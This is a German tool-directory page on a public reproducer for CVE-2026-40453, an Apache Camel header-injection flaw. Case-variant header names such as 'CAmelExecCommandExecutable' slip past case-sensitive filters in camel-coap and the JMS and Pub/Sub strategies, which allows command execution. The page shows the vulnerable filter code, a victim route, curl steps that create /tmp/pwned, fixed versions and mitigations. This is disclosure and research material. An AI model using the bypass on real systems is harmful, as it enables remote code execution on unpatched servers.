Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/oscerd/cve-2026-40453
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer für CVE-2026-40453: Apache-Camel-Case-Variant-Camel-Header-Injection (unvollständiger Fix von CVE-2025-27636)

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reproducer für Camel-Header-Injection mit Groß-/Kleinschreibungs-Varianten (CVE-2026-40453)

Dieses Projekt demonstriert CVE-2026-40453 – eine unvollständige Behebung von CVE-2025-27636. Der Fix von 2025 fügte
setLowerCase(true) zu HttpHeaderFilterStrategy hinzu, sodass Header-Namen in Groß-/Kleinschreibungs-Varianten (z. B.
CAmelExecCommandExecutable) zusammen mit dem kanonischen CamelExecCommandExecutable gefiltert werden. Der gleiche Aufruf
wurde nicht auf fünf Nicht-HTTP-HeaderFilterStrategy-Implementierungen angewendet
(camel-jms, camel-sjms, camel-coap, ), die groß-/kleinschreibungssensitiv filtern, während der Camel Exchange Header in einer Map speichert. Ein Angreifer kann daher einen -Steuerheader in einer Groß-/Kleinschreibungs-Variante injizieren, der den Filter umgeht, aber von nachgelagerten Komponenten (, , ...) unter seinem kanonischen Namen aufgelöst wird → / beliebiges Dateischreiben.

camel-google-pubsub

groß-/kleinschreibungsunabhängigen

Camel*

camel-exec
camel-file
Remote Code Execution

Dieser Reproducer demonstriert den Umgehungsangriff mit camel-coap (eigenständig, kein externer Broker); der gleiche
Fehler betrifft die JMS/SJMS/Google-Pubsub-Strategien.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40453.html

Zusammenfassung der Schwachstelle

EigenschaftWert
Komponentencamel-jms, camel-sjms, camel-coap, camel-google-pubsub (dieses PoC verwendet camel-coap)
Betroffene KlassenJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
GrundursacheGroß-/kleinschreibungssensitives startsWith("Camel"/"camel")-Filtern (fehlendes setLowerCase(true)) vs. eine groß-/kleinschreibungsunabhängige Exchange-Header-Map
CWECWE-20 (Unzureichende Eingabevalidierung) – Nachrichten-Header-Injection
AuswirkungRCE / beliebiges Dateischreiben über headergesteuerte Producer
Betroffene VersionenAb 3.0.0 vor 4.14.6, ab 4.15.0 vor 4.18.2, ab 4.19.0 vor 4.20.0
Behobene Versionen4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (vervollständigt den Fix für CVE-2025-27636)
MelderSaroj Khadka

Technische Details

CoAPHeaderFilterStrategy (betroffene Version) filtert Camel* groß-/kleinschreibungssensitiv:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Wenn eine CoAP-Anfrage eintrifft, ordnet CamelCoapResource.handleRequest() jeden URI-Abfrageparameter den Exchange-In-Headern zu,
gesteuert durch strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable – startsWith("Camel") ist true → herausgefiltert.
  • CAmelExecCommandExecutable – startsWith("Camel") ist false (CAm ≠ Cam) → nicht herausgefiltert.

Die Exchange-Header-Map ist groß-/kleinschreibungsunabhängig, sodass der Header in Groß-/Kleinschreibungs-Variante später vom
Exec-Producer unter seinem kanonischen Namen CamelExecCommandExecutable aufgelöst wird und den Befehl überschreibt.

Die Opfer-Route

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Voraussetzungen

  • Java 17+ und Maven 3.8+
  • Docker

Reproduktionsschritte

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Gutartig

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Kanonischer Header – GEFILTERT (kein RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Header in Groß-/Kleinschreibungs-Variante – UMGEHUNG (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Bereinigung

root@kitploit:~
docker compose down

Empfohlener Fix

Upgrade auf 4.14.6 / 4.18.2 / 4.20.0. Der Fix (CAMEL-23313) fügt setLowerCase(true) zu den fünf
Nicht-HTTP-HeaderFilterStrategy-Implementierungen hinzu, sodass auch Camel*-Namen in Groß-/Kleinschreibungs-Varianten gefiltert werden.

Schadensbegrenzung

Bis zum Upgrade:

  1. Camel-Header groß-/kleinschreibungsunabhängig entfernen – nachgelagert von nicht vertrauenswürdigen Produzenten:
    eine benutzerdefinierte HeaderFilterStrategy mit setLowerCase(true) oder removeHeaders mit einem
    groß-/kleinschreibungsunabhängigen Muster.
  2. Vermeiden Sie es, nicht vertrauenswürdige JMS-/CoAP-/Pub-Sub-Nachrichten an headergesteuerte Producer weiterzuleiten.

Dateien

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisiertes Testen bereitgestellt, für eine öffentlich
bekanntgegebene und behobene
Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen